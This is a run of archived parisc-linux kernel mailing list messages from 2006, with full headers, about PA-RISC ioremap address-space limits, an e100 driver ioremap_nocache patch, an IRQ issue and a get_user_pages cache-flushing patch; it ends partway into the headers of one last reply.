> > Even on a "normal" machine, a couple of graphics cards
> > would exhaust the 240MB.  A single infiniband card could
> > exhaust the 240MB space we have now.
> 
> OK, could someone explain what we're trying to do and why?
> 
> The original PA implementation of ioremap actually had I/O space and
> memory space separated (this is almost essential on 32 bit machines with
> lots of memory).

Yes.
 
> The new implementation is trying to map our I/O space directly into
> memory.  Because of the way PA is implemented: no highmem, entire memory
> offset mapped at 0x1000000; that means the only space we have for kernel
> VM is 0-0x10000000 (On 32 bits, this offset mapping loses us the top
> 256k on 4GB machines, but that's f space anyway).  However, our vmalloc
> space is very squeezed at 240k (remember, all modules have to be in
> vmalloc space), so trying to share it with I/O mappings looks to be a
> bit of a non-starter.

Yes (240MB). 
 
> I suggest that on 32 bits, we really shouldn't alter the current scheme
> (i.e. keep the separated I/O and  memory mappings).  On 64 bits, we
> could allocate a far different VM range to vmalloc (somewhere up beyond
> the maximum possible physical memory) and thus make it far bigger, which
> would allow us to keep a mapped ioremap implementation.

Might work, although it makes the sources pretty ugly again.
The biggest problem with 64bit kernel and seperated I/O and memory mappings was, that you wasn't able to export I/O-memory via mmap() to 32bit userspace applications.
Biggest affected application was X11, who tried to mmap() the 64bit f-space region of the graphics RAM into 32bit-userspace.
This might maybe be maybe solveable with your proposal, since e.g. X11 on 32bit Kernel worked already somehow and 64bit could be solved with the mapping.

Another proposal could be to keep the current implementation on 32bit and as such not make the sources ugly again.
If a user then runs on a big iron like N4k he should use a 64bit kernel instead, which then would implement your 64bit-changes proposal.
 
> Oh, and just before anyone suggests it, we'd have incredible difficulty
> moving __PAGE_OFFSET because of the absolute<->virtual equivalence
> requirements.

Yes, that's the reason I never proposed that :-)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Wed,  5 Apr 2006 17:43:07 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <IX9D3V$BF2D86A8A8E037EBE75DD1CCA92265E8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624044 18829 80.91.229.3 (22 Nov 2014 02:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:44 +0000 (UTC)
Cc: "James\.Bottomley" <James.Bottomley@steeleye.com>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2006 16:43:11 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx020) with SMTP; 05 Apr 2006 18:43:12 +0200
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k35Gh6c12933; 
	Wed, 5 Apr 2006 18:43:07 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p8EAcF1vX1Vp6uuYY2FyNzZ3SDc4NExi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23542

Hello Helge,

[...]
> If a user then runs on a big iron like N4k he should use a 64bit kernel=

instead, which then would implement your 64bit-changes proposal.
>  
Sorry but I misderstood: iirc only 64bit kernel runs on such system like =
A, L,
N class; we haven't the choice?

Thanks,
    Joel

PS: btw, I read a lot of your patch related to page size 16k and 64k (for=

pa8000) but not sure we can try it now?=0A=0A----------------------------=
-----------------------------------=0AA free anti-spam and anti-virus fil=
ter on all Scarlet mailboxes=0AMore info on http://www.scarlet.be/



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Wed, 5 Apr 2006 19:02:33 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <200604051902.34129.deller@gmx.de>
References: <IX9D3V$BF2D86A8A8E037EBE75DD1CCA92265E8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624045 18832 80.91.229.3 (22 Nov 2014 02:40:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:45 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2006 17:02:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 05 Apr 2006 19:02:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06DC07D760;
	Wed,  5 Apr 2006 11:02:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03491-08; Wed, 5 Apr 2006 11:02:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F3167D758;
	Wed,  5 Apr 2006 11:02:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA9E37D755
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 11:02:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03491-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Apr 2006 11:02:37 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B1B6A7D742
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 11:02:36 -0600 (MDT)
Original-Received: (qmail invoked by alias); 05 Apr 2006 17:02:35 -0000
Original-Received: from p54AD1E7A.dip0.t-ipconnect.de (EHLO p100.box) [84.173.30.122]
	by mail.gmx.net (mp037) with SMTP; 05 Apr 2006 19:02:35 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <IX9D3V$BF2D86A8A8E037EBE75DD1CCA92265E8@scarlet.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Cs8BdQMOIyd18PqQe2draGxaa2FkZlVk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23543

On Wednesday 05 April 2006 18:43, Joel Soete wrote:
> > If a user then runs on a big iron like N4k he should use a 64bit kernel
> instead, which then would implement your 64bit-changes proposal.
> >  
> Sorry but I misderstood: iirc only 64bit kernel runs on such system like A, L,
> N class; we haven't the choice?

Yes, 64bit kernel, but with additional changes as James proposed.
(the proposal is to implement an iomapping-region (in a very high memory region where you do not have physical memory), in which the ioremapping can happen.)

> PS: btw, I read a lot of your patch related to page size 16k and 64k (for
> pa8000) but not sure we can try it now?

It does not makes sense to test it yet, since it will crash your box.
I'm trying to read and understand the docs.
Not sure when I have it (at least partly) workable....
I'll let you know when you can try.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gustavo Zacarias <gustavoz@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] e100_probe using ioremap
Date: Wed, 05 Apr 2006 14:50:36 -0300
Lines: 47
Approved: news@gmane.org
Message-ID: <4434036C.9060700@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------040300050500040606080403"
X-Trace: ger.gmane.org 1416624045 18836 80.91.229.3 (22 Nov 2014 02:40:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2006 17:50:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 05 Apr 2006 19:50:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6FB77D772;
	Wed,  5 Apr 2006 11:50:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04198-07; Wed, 5 Apr 2006 11:50:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B12D7D78A;
	Wed,  5 Apr 2006 11:50:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A5287D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 11:50:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04252-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Apr 2006 11:50:01 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 52F0C7D769
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Apr 2006 11:50:01 -0600 (MDT)
Original-Received: from imhotep.toptech.com.ar ([200.68.70.115] helo=[192.168.1.250])
	by smtp.gentoo.org with esmtpa (Exim 4.54) id 1FRC8j-0008Lw-R1
	for parisc-linux@lists.parisc-linux.org; Wed, 05 Apr 2006 17:49:58 +0000
User-Agent: Mail/News 1.5 (X11/20060403)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ajENcX4qeWU7sreUfHVzcU05U3U4Nw8S
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23544

This is a multi-part message in MIME format.
--------------040300050500040606080403
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit


e100_probe in drivers/net/e100.c is using ioremap instead of 
ioremap_nocache.
Fix attached.

-- 
Gustavo Zacarias
Gentoo/SPARC monkey

--------------040300050500040606080403
Content-Type: text/x-patch;
 name="e100_ioremap.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="e100_ioremap.diff"

diff -Nura linux-2.6.16-pa11/drivers/net/e100.c linux-2.6.16-pa11-e100/drivers/net/e100.c
--- linux-2.6.16-pa11/drivers/net/e100.c	2006-03-20 02:53:29.000000000 -0300
+++ linux-2.6.16-pa11-e100/drivers/net/e100.c	2006-04-05 14:48:09.000000000 -0300
@@ -2607,7 +2607,7 @@
 	SET_MODULE_OWNER(netdev);
 	SET_NETDEV_DEV(netdev, &pdev->dev);
 
-	nic->csr = ioremap(pci_resource_start(pdev, 0), sizeof(struct csr));
+	nic->csr = ioremap_nocache(pci_resource_start(pdev, 0), sizeof(struct csr));
 	if(!nic->csr) {
 		DPRINTK(PROBE, ERR, "Cannot map device registers, aborting.\n");
 		err = -ENOMEM;

--------------040300050500040606080403
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------040300050500040606080403--



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Wed, 5 Apr 2006 11:37:47 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20060405183747.GZ25493@pooh.bubble.frostnet.net>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net> <20060330080202.GE5336@pooh.bubble.frostnet.net> <20060404033400.GQ25493@pooh.bubble.frostnet.net> <200604040805.33828.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624045 18841 80.91.229.3 (22 Nov 2014 02:40:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <chris@frostnet.net>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2006 18:38:05 -0000
Original-Received: from smtp-9.smtp.ucla.edu (EHLO smtp-9.smtp.ucla.edu) [169.232.48.137]
  by mx0.gmx.net (mx083) with SMTP; 05 Apr 2006 20:38:05 +0200
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.48.150])
	by smtp-9.smtp.ucla.edu (8.13.6/8.13.6) with ESMTP id k35Ibxif020341;
	Wed, 5 Apr 2006 11:38:01 -0700
Original-Received: from pooh.orion.frostnet.net (Cs-33-121.CS.UCLA.EDU [131.179.33.121])
	(authenticated bits=0)
	by mail.ucla.edu (8.13.6/8.13.6) with ESMTP id k35Ibu1s020092
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT);
	Wed, 5 Apr 2006 11:37:57 -0700
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FRCt1-00079Q-TW; Wed, 05 Apr 2006 11:37:47 -0700
Content-Disposition: inline
In-Reply-To: <200604040805.33828.deller@gmx.de>
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 0.05
X-Spam-Report: FORGED_RCVD_HELO
X-Scanned-By: smtp.ucla.edu on 169.232.48.137
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7mJfLHBzTlIvsreQeGhrSVVGU2poZRmx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23545

On Tue, Apr 04, 2006 at 08:05:33AM +0200, Helge Deller wrote:
> 01:0f.0 FireWire (IEEE 1394): NEC Corporation: Unknown device 00f2 (rev 01) (prog-if 10 [OHCI])
> says:	Interrupt: pin A routed to IRQ 9
> 
> Do you have CONFIG_EISA and/or CONFIG_ISA enabled ?
> If yes, try without...

Neither are enabled.
(But thanks for the suggestion.)

-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Thu, 06 Apr 2006 08:53:39 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <E1FRON9-0005rC-00__24882.9134776772$1416624046$gmane$org@dorka.pomaz.szeredi.hu>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
	<1143986960.3865.5.camel@mulgrave.il.steeleye.com>
	<E1FQOzi-0007VZ-00@dorka.pomaz.szeredi.hu>
	<1144135400.3552.11.camel@mulgrave.il.steeleye.com>
	<E1FQhEh-0000Vz-00@dorka.pomaz.szeredi.hu>
	<1144165204.3597.13.camel@mulgrave.il.steeleye.com>
	<E1FQo4N-000159-00@dorka.pomaz.szeredi.hu>
	<1144282046.3214.7.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624046 18842 80.91.229.3 (22 Nov 2014 02:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:46 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2006 06:54:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 06 Apr 2006 08:54:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0ECB37D7CD;
	Thu,  6 Apr 2006 00:54:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11433-10; Thu, 6 Apr 2006 00:54:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B799A7D7D0;
	Thu,  6 Apr 2006 00:54:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36E567D7CC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Apr 2006 00:54:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11433-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Apr 2006 00:54:16 -0600 (MDT)
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by free.linux.hp.com (Postfix) with ESMTP id 0489A7D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Apr 2006 00:54:16 -0600 (MDT)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FRON9-0005rC-00; Thu, 06 Apr 2006 08:53:39 +0200
In-reply-to: <1144282046.3214.7.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Wed, 05 Apr 2006 20:07:26 -0400)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EIIMcQVVbmw7vq2HZzdLS0RHUzc4chHE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23546

> > > No, because if you look at the implementation, you'll see that
> > > copy_to/from_user() copy straight into the user view (i.e. via the user
> > > cache lines).
> > 
> > Yes.  But how will this ensure that the above problems (dirty/clean
> > cache lines in aliases) won't cause any problems?
> 
> It doesn't.  The object is to write into the user cache as though the
> actual user process had done it (i.e. disregarding all aliasing).

Which is also what the object of get_user_pages() + memcpy() is.  The
fact that in the process some part of the cache is flushed is
irrelevant.

get_user_pages() is used as a _substitute_ for copy_*_user() if the
memory copying needs to be done from a different VM context.

> > What is the difference between
> > 
> >  - updating cached data through the user view
> > 
> >  - flushing the cache lines for the user view, then updating data
> >    through the kernel view and finally flushing the cache lines for
> >    the kernel view
> 
> In the former, the data usually ends up in dirty user cache lines.  In
> the latter the cache lines are entirely clean after the procedure.
> 
> > I don't see in either case that the cache lines for any other aliases
> > are touched.  Is there still some difference in behavior?
> 
> Yes, in the former, only a single alias (the user view) is affected.  In
> the latter, all views are accounted for.

I think we agree on what happens, but not about why it is needed to
happen.

With your fix get_user_pages() guarantees _more_ coherency than
copy_from/to_user().  This not a bug per-se, but it does require a new
interface (flush_anon_pages()) and provides "strange" cache coherency
semantics.

By strange I mean, that all views of file backed pages are flushed,
but only one view of anononymous pages.  This IMO doesn't make too
much sense, but feel free to correct me if I'm wrong.

How about this?

Index: linux/mm/memory.c
===================================================================
--- linux.orig/mm/memory.c	2006-04-04 18:44:47.000000000 +0200
+++ linux/mm/memory.c	2006-04-06 08:40:26.000000000 +0200
@@ -1072,8 +1072,8 @@ int get_user_pages(struct task_struct *t
 			if (pages) {
 				pages[i] = page;
 
-				flush_anon_page(page, start);
-				flush_dcache_page(page);
+				flush_cache_page(vma, start, page_to_pfn(page));
+				flush_kernel_dcache_page(page);
 			}
 			if (vmas)
 				vmas[i] = vma;

The flushing semantics are cleaner, and the flush_anon_page()
interface is not needed.

Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Thu, 06 Apr 2006 07:30:25 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <1144323026.4076.1.camel__16279.313262976$1416624046$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
	<1143986960.3865.5.camel@mulgrave.il.steeleye.com>
	<E1FQOzi-0007VZ-00@dorka.pomaz.szeredi.hu>
	<1144135400.3552.11.camel@mulgrave.il.steeleye.com>
	<E1FQhEh-0000Vz-00@dorka.pomaz.szeredi.hu>
	<1144165204.3597.13.camel@mulgrave.il.steeleye.com>
	<E1FQo4N-000159-00@dorka.pomaz.szeredi.hu>
	<1144282046.3214.7.camel@mulgrave.il.steeleye.com>
	<E1FRON9-0005rC-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624046 18843 80.91.229.3 (22 Nov 2014 02:40:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:46 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
